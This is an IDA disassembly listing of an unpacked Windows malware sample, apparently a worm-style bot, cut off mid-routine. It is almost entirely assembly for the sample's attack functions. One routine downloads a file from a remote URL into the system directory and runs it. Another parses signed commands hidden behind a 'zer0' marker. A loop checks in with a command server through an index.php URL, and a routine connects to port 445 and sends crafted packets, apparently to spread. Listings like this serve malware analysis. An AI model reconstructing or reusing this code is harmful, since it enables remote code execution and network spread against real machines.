; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 5D4B3D4A45BC85CCFEC31B297D2784C0 ; File Name : u:\work\5d4b3d4a45bc85ccfec31b297d2784c0_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 31420000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 31421000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31421000 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExAdword_31421004 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_31421008 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_3142100C dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_31422882+1Dr dword_31421010 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueAdword_31421014 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_31422882+4Er ... dword_31421018 dd 77E34D78h ; resolved to->ADVAPI32.AbortSystemShutdownAdword_3142101C dd 77DEA2F9h ; resolved to->ADVAPI32.CryptCreateHashdword_31421020 dd 77DEA122h ; resolved to->ADVAPI32.CryptHashDatadword_31421024 dd 77DEAB80h ; resolved to->ADVAPI32.CryptVerifySignatureAdword_31421028 dd 77DEA254h ; resolved to->ADVAPI32.CryptDestroyHashdword_3142102C dd 77DEA544h ; resolved to->ADVAPI32.CryptDestroyKeydword_31421030 dd 77DE8546h ; resolved to->ADVAPI32.CryptReleaseContextdword_31421034 dd 77DE7F96h ; resolved to->ADVAPI32.CryptAcquireContextAdword_31421038 dd 77DEA879h ; resolved to->ADVAPI32.CryptImportKey align 10h dword_31421040 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_31421044 dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_31421048 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_3142104C dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiAdword_31421050 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_31421054 dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_31421058 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_3142105C dd 7C863DE5h ; resolved to->KERNEL32.Process32Firstdword_31421060 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_31421064 dd 7C863F58h ; resolved to->KERNEL32.Process32Nextdword_31421068 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_31422B67+8Fr dword_3142106C dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_31421070 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_31421074 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_31422A9B+Fr dword_31421078 dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_3142107C dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_314211A0+F6r ... dword_31421080 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_314221C4+57r dword_31421084 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_31421422+64r ... dword_31421088 dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; sub_31422A9B+40r dword_3142108C dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_31422A9B+1Br dword_31421090 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_31421094 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_31421801+16Cr ... dword_31421098 dd 7C80978Eh ; resolved to->KERNEL32.InterlockedExchangedword_3142109C dd 7C810111h ; resolved to->KERNEL32.lstrcpynAdword_314210A0 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_314210A4 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_31421DF0+2Cr dword_314210A8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_314223B2+116r dword_314210AC dd 7C80220Fh ; resolved to->KERNEL32.WriteProcessMemorydword_314210B0 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_3142292E+92r dword_314210B4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; UPX0:31422336r dword_314210B8 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_314210BC dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_314210C0 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_31421F52+12r dword_314210C4 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_314210C8 dd 7C80A017h ; resolved to->KERNEL32.SetEventdword_314210CC dd 7C81320Ch ; resolved to->KERNEL32.OpenEventAdword_314210D0 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_314221C4+66r ... dword_314210D4 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_314225C3+3Fr ... dword_314210D8 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_314210DC dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_314210E0 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_31422A9B+C3r dword_314210E4 dd 7C910331h, 0 ; resolved to->NTDLL.RtlGetLastWin32Errordword_314210EC dd 77C371BCh ; resolved to->MSVCRT.sranddword_314210F0 dd 77C46F70h ; resolved to->MSVCRT.memcpydword_314210F4 dd 77C478A0h ; resolved to->MSVCRT.strlendword_314210F8 dd 77C475F0h ; resolved to->MSVCRT.memsetdword_314210FC dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_31421F73:loc_31421F84r ... ; --------------------------------------------------------------------------- loc_31421100: ; DATA XREF: UPX0:loc_31422CD0r xchg eax, esp pop esp retn ; --------------------------------------------------------------------------- db 77h dword_31421104 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_3142207E:loc_314220AFr ... dword_31421108 dd 77C47660h ; resolved to->MSVCRT.strchr ; sub_31421422+AAr align 10h dword_31421110 dd 7E42DE87h ; resolved to->USER32.FindWindowAdword_31421114 dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindowdword_31421118 dd 7E418A80h ; resolved to->USER32.GetWindowThreadProcessIddword_3142111C dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_314215C7+77r ... dd 0 dword_31421124 dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlA ; sub_314215C7+9Dr dword_31421128 dd 42C2C8A1h ; resolved to->WININET.InternetOpenA ; sub_314215C7+89r dword_3142112C dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandledword_31421130 dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; UPX0:314227A2r dword_31421134 dd 42C2ABF4h ; resolved to->WININET.InternetReadFile ; sub_314215C7+B0r dd 0 dword_3142113C dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_31421140 dd 71AB3E00h ; resolved to->WS2_32.binddword_31421144 dd 71AB88D3h ; resolved to->WS2_32.listendword_31421148 dd 71AC1028h ; resolved to->WS2_32.acceptdword_3142114C dd 71AB50C8h ; resolved to->WS2_32.gethostnamedword_31421150 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastErrordword_31421154 dd 71AB4FD4h ; resolved to->WS2_32.gethostbynamedword_31421158 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_314221C4+ACr dword_3142115C dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_31422712+Dr dword_31421160 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_314221C4+F0r dword_31421164 dd 71AB406Ah ; resolved to->WS2_32.connectdword_31421168 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_3142207E+67r ... dword_3142116C dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_31421801+1D8r ... dword_31421170 dd 71AC0BDEh ; resolved to->WS2_32.shutdown ; sub_3142207E+128r dword_31421174 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_3142207E+12Fr align 10h dword_31421180 dd 0FFFFFFFFh, 0 dd offset nullsub_1 align 10h dword_31421190 dd 0FFFFFFFFh, 0 dd offset nullsub_2 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314211A0 proc near ; CODE XREF: sub_31421422+16Dp var_110 = byte ptr -110h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push ebx push esi xor esi, esi push edi push esi push esi push esi push 1 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_31421128 ; InternetOpenA mov ebx, eax cmp ebx, esi jnz short loc_314211CB push 1 jmp loc_31421261 ; --------------------------------------------------------------------------- loc_314211CB: ; CODE XREF: sub_314211A0+22j lea eax, [ebp+var_110] push 104h push eax call dword_3142108C ; GetSystemDirectoryA mov edi, dword_31421088 lea eax, [ebp+var_110] push offset dword_314241F8 push eax call edi ; lstrcatA lea eax, [ebp+var_110] push 6 push eax call dword_31421084 ; lstrlenA lea eax, [ebp+eax+var_110] push eax call sub_31421F73 pop ecx lea eax, [ebp+var_110] pop ecx push offset dword_314241F0 push eax call edi ; lstrcatA push esi push esi push 2 push esi push esi lea eax, [ebp+var_110] push 40000000h push eax call dword_31421080 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_31421241 push 2 jmp short loc_31421261 ; --------------------------------------------------------------------------- loc_31421241: ; CODE XREF: sub_314211A0+9Bj push esi push esi push esi push esi push [ebp+arg_0] push ebx call dword_31421124 ; InternetOpenUrlA cmp eax, esi mov [ebp+arg_0], eax jnz short loc_31421264 push [ebp+var_4] call dword_3142107C ; CloseHandle push 3 loc_31421261: ; CODE XREF: sub_314211A0+26j ; sub_314211A0+9Fj pop eax jmp short loc_314212B5 ; --------------------------------------------------------------------------- loc_31421264: ; CODE XREF: sub_314211A0+B4j mov edi, 100000h push edi call sub_31422CA5 mov ebx, eax pop ecx lea eax, [ebp+var_8] push eax push edi push ebx push [ebp+arg_0] call dword_31421134 ; InternetReadFile lea eax, [ebp+var_C] push esi push eax push [ebp+var_8] push ebx push [ebp+var_4] call dword_31421078 ; WriteFile push [ebp+var_4] call dword_3142107C ; CloseHandle lea eax, [ebp+var_110] push 5 push eax call sub_31421FA3 push ebx call sub_31422CB9 add esp, 0Ch xor eax, eax loc_314212B5: ; CODE XREF: sub_314211A0+C2j pop edi pop esi pop ebx leave retn sub_314211A0 endp ; =============== S U B R O U T I N E ======================================= sub_314212BA proc near ; CODE XREF: sub_31421422+F8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov ecx, [esp+arg_4] mov eax, [esp+arg_0] push ebx push esi push edi or edi, 0FFFFFFFFh inc eax push 0Fh lea esi, [ecx+1] sub edi, ecx pop ecx loc_314212D1: ; CODE XREF: sub_314212BA+56j mov dl, [eax] mov bl, [eax-1] add edx, ecx add bl, cl sar edx, 4 and dl, 3 sub dl, [esp+0Ch+arg_8] shl bl, 2 or dl, bl mov [esi-1], dl mov dl, [eax+1] mov bl, [eax] dec dl add bl, cl and dl, cl sub dl, [esp+0Ch+arg_8] add eax, 3 shl bl, 4 and bl, 0F0h or dl, bl mov [esi], dl inc esi inc esi lea edx, [edi+esi] cmp edx, 30h jl short loc_314212D1 pop edi pop esi pop ebx retn sub_314212BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421316 proc near ; CODE XREF: sub_3142139B+27p var_38 = byte ptr -38h var_1C = byte ptr -1Ch arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi push 6 pop ecx mov esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lea edi, [ebp+var_1C] push 6 rep movsd movsw movsb pop ecx mov esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz" lea edi, [ebp+var_38] mov ebx, [ebp+arg_4] rep movsd movsw test ebx, ebx movsb jge short loc_31421349 add ebx, 1Ah loc_31421349: ; CODE XREF: sub_31421316+2Ej movsx edi, [ebp+arg_0] mov esi, dword_31421108 lea eax, [ebp+var_1C] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31421373 lea ecx, [ebp+var_1C] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_1C] jmp short loc_31421396 ; --------------------------------------------------------------------------- loc_31421373: ; CODE XREF: sub_31421316+48j lea eax, [ebp+var_38] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31421393 lea ecx, [ebp+var_38] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_38] jmp short loc_31421396 ; --------------------------------------------------------------------------- loc_31421393: ; CODE XREF: sub_31421316+68j mov al, [ebp+arg_0] loc_31421396: ; CODE XREF: sub_31421316+5Bj ; sub_31421316+7Bj pop edi pop esi pop ebx leave retn sub_31421316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142139B proc near ; CODE XREF: sub_31421422+D6p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_8] push edi mov al, [eax] test al, al jz short loc_314213F8 mov edi, [ebp+arg_0] push ebx loc_314213B0: ; CODE XREF: sub_3142139B+58j sub al, 2 inc [ebp+arg_4] mov bl, al mov eax, esi neg eax mov byte ptr [ebp+arg_0], bl push eax push [ebp+arg_0] call sub_31421316 mov [edi], al pop ecx inc edi cmp bl, 61h pop ecx jl short loc_314213DC cmp bl, 7Ah jg short loc_314213DC movsx esi, bl sub esi, 61h loc_314213DC: ; CODE XREF: sub_3142139B+34j ; sub_3142139B+39j cmp bl, 41h jl short loc_314213EC cmp bl, 5Ah jg short loc_314213EC movsx esi, bl sub esi, 41h loc_314213EC: ; CODE XREF: sub_3142139B+44j ; sub_3142139B+49j mov eax, [ebp+arg_4] mov al, [eax] test al, al jnz short loc_314213B0 pop ebx jmp short loc_314213FB ; --------------------------------------------------------------------------- loc_314213F8: ; CODE XREF: sub_3142139B+Fj mov edi, [ebp+arg_0] loc_314213FB: ; CODE XREF: sub_3142139B+5Bj and byte ptr [edi], 0 pop edi pop esi pop ebp retn sub_3142139B endp ; =============== S U B R O U T I N E ======================================= sub_31421402 proc near ; CODE XREF: sub_31421422+104p arg_0 = dword ptr 4 xor eax, eax xor ecx, ecx loc_31421406: ; CODE XREF: sub_31421402+12j mov edx, [esp+arg_0] movzx edx, byte ptr [ecx+edx] add eax, edx inc ecx cmp ecx, 30h jl short loc_31421406 push 1Ah cdq pop ecx idiv ecx mov eax, edx add eax, 61h retn sub_31421402 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421422 proc near ; CODE XREF: sub_314215C7+BAp var_174 = dword ptr -174h var_170 = byte ptr -170h var_168 = byte ptr -168h var_164 = byte ptr -164h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = byte ptr -124h var_11C = byte ptr -11Ch var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_31421180 push offset loc_31422CD0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 164h push ebx push esi push edi mov [ebp+var_128], 1 and [ebp+var_4], 0 push offset aZer0 ; "zer0" push [ebp+arg_0] call dword_31421104 ; strstr pop ecx pop ecx mov edi, eax mov [ebp+var_130], edi test edi, edi jz loc_314215A8 add edi, 4 mov [ebp+var_130], edi jz loc_314215A8 push edi call dword_31421084 ; lstrlenA mov [ebp+var_1C], eax cmp eax, 50h jle loc_314215A8 and byte ptr [edi+100h], 0 mov al, [edi] mov [ebp+var_168], al movsx ebx, al sub ebx, 61h mov [ebp+var_12C], ebx js loc_314215A8 cmp ebx, 1Ah jge loc_314215A8 inc edi mov [ebp+var_130], edi push 7Eh push edi call dword_31421108 ; strchr pop ecx pop ecx mov esi, eax mov [ebp+var_134], esi test esi, esi jz loc_314215A8 mov al, [esi] mov [ebp+var_170], al and byte ptr [esi], 0 push ebx push edi lea eax, [ebp+var_11C] push eax call sub_3142139B mov al, [ebp+var_170] mov [esi], al inc esi mov [ebp+var_130], esi xor edi, edi push edi lea eax, [ebp+var_164] push eax lea eax, [esi+1] push eax call sub_314212BA lea eax, [ebp+var_164] push eax call sub_31421402 add esp, 1Ch cmp [esi], al jnz short loc_314215A8 push 44h push offset dword_31424000 lea eax, [ebp+var_124] push eax call sub_3142172F add esp, 0Ch lea eax, [ebp+var_174] push eax push 30h lea eax, [ebp+var_164] push eax lea eax, [ebp+var_11C] push eax call dword_31421084 ; lstrlenA push eax lea eax, [ebp+var_11C] push eax lea eax, [ebp+var_124] push eax call sub_3142179A add esp, 18h test eax, eax jnz short loc_3142159B cmp [ebp+var_174], edi jz short loc_3142159B lea eax, [ebp+var_11C] push eax call sub_314211A0 pop ecx mov [ebp+var_128], edi loc_3142159B: ; CODE XREF: sub_31421422+15Cj ; sub_31421422+164j lea eax, [ebp+var_124] push eax call sub_3142177E pop ecx loc_314215A8: ; CODE XREF: sub_31421422+4Ej ; sub_31421422+5Dj ... or [ebp+var_4], 0FFFFFFFFh call nullsub_1 mov eax, [ebp+var_128] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_31421422 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314215C7 proc near ; CODE XREF: sub_314216A2+2Ap var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi push 4000h call sub_31422CA5 pop ecx mov esi, eax lea eax, [ebp+var_E8] push 63h push eax push 7 push 400h call dword_31421090 ; GetLocaleInfoA xor ebx, ebx cmp byte ptr [ebp+arg_4], bl jz short loc_3142162F lea eax, [ebp+var_E8] push eax lea eax, [ebp+var_84] push dword_31424FEC push dword_31425004 push offset aFgnsdrjyrsert ; "fgnsdrjyrsert" push [ebp+arg_0] push offset aHttpSIndex_php ; "http://%s/index.php?id=%s&scn=%d&inf=%d"... push eax call dword_3142111C ; wsprintfA add esp, 1Ch jmp short loc_31421647 ; --------------------------------------------------------------------------- loc_3142162F: ; CODE XREF: sub_314215C7+34j push [ebp+arg_0] lea eax, [ebp+var_84] push offset aHttpS ; "http://%s" push eax call dword_3142111C ; wsprintfA add esp, 0Ch loc_31421647: ; CODE XREF: sub_314215C7+66j push ebx push ebx push ebx push ebx push offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_31421128 ; InternetOpenA push ebx mov edi, eax push ebx push ebx lea eax, [ebp+var_84] push ebx push eax push edi call dword_31421124 ; InternetOpenUrlA mov ebx, eax lea eax, [ebp+var_4] push eax push 2000h push esi push ebx call dword_31421134 ; InternetReadFile push esi mov [ebp+arg_4], eax call sub_31421422 push esi call sub_31422CB9 mov esi, dword_3142112C pop ecx pop ecx push ebx call esi ; InternetCloseHandle push edi call esi ; InternetCloseHandle mov eax, [ebp+arg_4] pop edi pop esi pop ebx leave retn sub_314215C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_314216A2 proc near ; DATA XREF: sub_314223B2+15Bo push ebx mov ebx, dword_31421098 push esi push edi loc_314216AB: ; CODE XREF: sub_314216A2+88j xor esi, esi mov edi, 46021h loc_314216B2: ; CODE XREF: sub_314216A2+86j inc esi inc esi call sub_31422038 test eax, eax jz short loc_314216FC mov al, byte_31424080[esi+esi*4] push eax push off_31424081[esi+esi*4] call sub_314215C7 or eax, edi pop ecx xor eax, 8064h pop ecx shl eax, 3 mov edi, eax xor eax, 228h test ax, 0FFFFh jnz short loc_314216FC push 0 push offset dword_31425004 call ebx ; InterlockedExchange push 0 push offset dword_31424FEC call ebx ; InterlockedExchange loc_314216FC: ; CODE XREF: sub_314216A2+19j ; sub_314216A2+46j call dword_314210FC ; rand push 3 cdq pop ecx idiv ecx add esi, edx call sub_31422068 xor edx, edx mov ecx, 493E0h div ecx add edx, 61B48h push edx call dword_31421094 ; Sleep cmp esi, 16h jb short loc_314216B2 jmp loc_314216AB sub_314216A2 endp ; =============== S U B R O U T I N E ======================================= sub_3142172F proc near ; CODE XREF: sub_31421422+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ebx, [esp+4+arg_0] push esi mov esi, dword_31421034 push edi xor edi, edi push edi push 1 push edi push edi push ebx call esi ; CryptAcquireContextA test eax, eax jnz short loc_3142175C push 8 push 1 push edi push edi push ebx call esi ; CryptAcquireContextA test eax, eax jnz short loc_3142175C push 1 pop eax jmp short loc_3142177A ; --------------------------------------------------------------------------- loc_3142175C: ; CODE XREF: sub_3142172F+19j ; sub_3142172F+26j lea eax, [ebx+4] push eax push edi push edi push [esp+18h+arg_8] push [esp+1Ch+arg_4] push dword ptr [ebx] call dword_31421038 ; CryptImportKey neg eax sbb eax, eax and al, 0FEh inc eax inc eax loc_3142177A: ; CODE XREF: sub_3142172F+2Bj pop edi pop esi pop ebx retn sub_3142172F endp ; =============== S U B R O U T I N E ======================================= sub_3142177E proc near ; CODE XREF: sub_31421422+180p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+4] call dword_3142102C ; CryptDestroyKey push 0 push dword ptr [esi] call dword_31421030 ; CryptReleaseContext xor eax, eax pop esi retn sub_3142177E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142179A proc near ; CODE XREF: sub_31421422+152p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+arg_0] xor edi, edi push eax push edi push edi push 8003h push dword ptr [esi] call dword_3142101C ; CryptCreateHash test eax, eax jnz short loc_314217C0 push 1 pop eax jmp short loc_314217FD ; --------------------------------------------------------------------------- loc_314217C0: ; CODE XREF: sub_3142179A+1Fj push edi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_31421020 ; CryptHashData test eax, eax jnz short loc_314217D9 push 2 pop edi jmp short loc_314217F2 ; --------------------------------------------------------------------------- loc_314217D9: ; CODE XREF: sub_3142179A+38j push edi push edi push dword ptr [esi+4] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_0] call dword_31421024 ; CryptVerifySignatureA mov ecx, [ebp+arg_14] mov [ecx], eax loc_314217F2: ; CODE XREF: sub_3142179A+3Dj push [ebp+arg_0] call dword_31421028 ; CryptDestroyHash mov eax, edi loc_314217FD: ; CODE XREF: sub_3142179A+24j pop edi pop esi pop ebp retn sub_3142179A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421801 proc near ; CODE XREF: sub_3142255F+36p ; sub_314225C3+48p ... var_89E4 = byte ptr -89E4h var_897C = byte ptr -897Ch var_690C = byte ptr -690Ch var_689C = byte ptr -689Ch var_5DD8 = byte ptr -5DD8h var_4834 = byte ptr -4834h var_4833 = byte ptr -4833h var_37A0 = byte ptr -37A0h var_2CDC = byte ptr -2CDCh var_2CDB = byte ptr -2CDBh var_2CD8 = byte ptr -2CD8h var_24F4 = byte ptr -24F4h var_24E4 = byte ptr -24E4h var_21C0 = byte ptr -21C0h var_21BC = byte ptr -21BCh var_21B0 = byte ptr -21B0h var_1F28 = byte ptr -1F28h var_1EAC = byte ptr -1EACh var_16DC = byte ptr -16DCh var_1231 = byte ptr -1231h var_F44 = byte ptr -0F44h var_EA4 = byte ptr -0EA4h var_798 = dword ptr -798h var_788 = byte ptr -788h var_774 = byte ptr -774h var_730 = byte ptr -730h var_134 = byte ptr -134h var_133 = byte ptr -133h var_E4 = byte ptr -0E4h var_E1 = byte ptr -0E1h var_B7 = byte ptr -0B7h var_B5 = byte ptr -0B5h var_B4 = byte ptr -0B4h var_6C = byte ptr -6Ch var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 89E4h call sub_31422CF0 mov eax, dword_31424C84 push ebx push edi push 1 pop edi xor ebx, ebx mov [ebp+var_14], eax mov eax, dword_31424C88 push ebx push edi push 2 mov [ebp+var_10], eax mov [ebp+var_C], edi call dword_31421158 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_31421D61 push esi mov esi, [ebp+arg_0] push 1Dh push esi call dword_3142115C ; inet_ntoa push eax lea eax, [ebp+var_6C] push eax call dword_3142109C ; lstrcpynA lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_4C] push offset loc_31424C78 push eax call dword_3142111C ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_133] loc_31421874: ; CODE XREF: sub_31421801+83j mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_31421874 push 60h lea eax, [ebp+var_E4] push offset dword_31424798 push eax call sub_31422CE2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31422CDC ; strlen shl eax, 1 push eax lea eax, [ebp+var_134] push eax lea eax, [ebp+var_B4] push eax call sub_31422CE2 ; memcpy add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_31422CDC ; strlen pop ecx lea eax, [ebp+eax*2+var_B5] push eax call sub_31422CE2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31422CDC ; strlen add al, 1Ah push edi shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_E1] push eax call sub_31422CE2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31422CDC ; strlen shl al, 1 add al, 9 push edi mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_B7] push eax call sub_31422CE2 ; memcpy push 0E29h lea eax, [ebp+var_1F28] push 31h push eax call sub_31422CD6 ; memset push 10h lea eax, [ebp+var_24] push ebx push eax call sub_31422CD6 ; memset add esp, 44h mov [ebp+var_24], 2 push 1BDh call dword_31421160 ; ntohs mov [ebp+var_22], ax lea eax, [ebp+var_24] push 10h push eax push [ebp+var_4] mov [ebp+var_20], esi call dword_31421164 ; connect cmp eax, 0FFFFFFFFh jz loc_31421D57 mov esi, dword_31421094 mov edi, 0C8h push edi call esi ; Sleep push ebx mov ebx, dword_31421168 push 89h push offset dword_31424580 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 0A8h push offset dword_3142460C push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 0DEh push offset dword_314246B8 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C cmp eax, 46h jl loc_31421D4C cmp [ebp+var_730], 31h jnz loc_31421BF7 and [ebp+arg_0], 0 push 7D0h lea eax, [ebp+var_F44] push 90h push eax call sub_31422CD6 ; memset add esp, 0Ch push offset byte_314242B8 call dword_31421084 ; lstrlenA push eax lea eax, [ebp+var_EA4] push offset byte_314242B8 push eax call sub_31422CE2 ; memcpy add esp, 0Ch lea eax, [ebp+var_14] push eax call dword_31421084 ; lstrlenA push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_788] push eax call sub_31422CE2 ; memcpy mov eax, dword_31424BBE add esp, 0Ch mov [ebp+var_798], eax loc_31421A98: ; CODE XREF: sub_31421801+4E1j movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_E4] push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 68h push offset dword_314247FC push [ebp+var_4] call 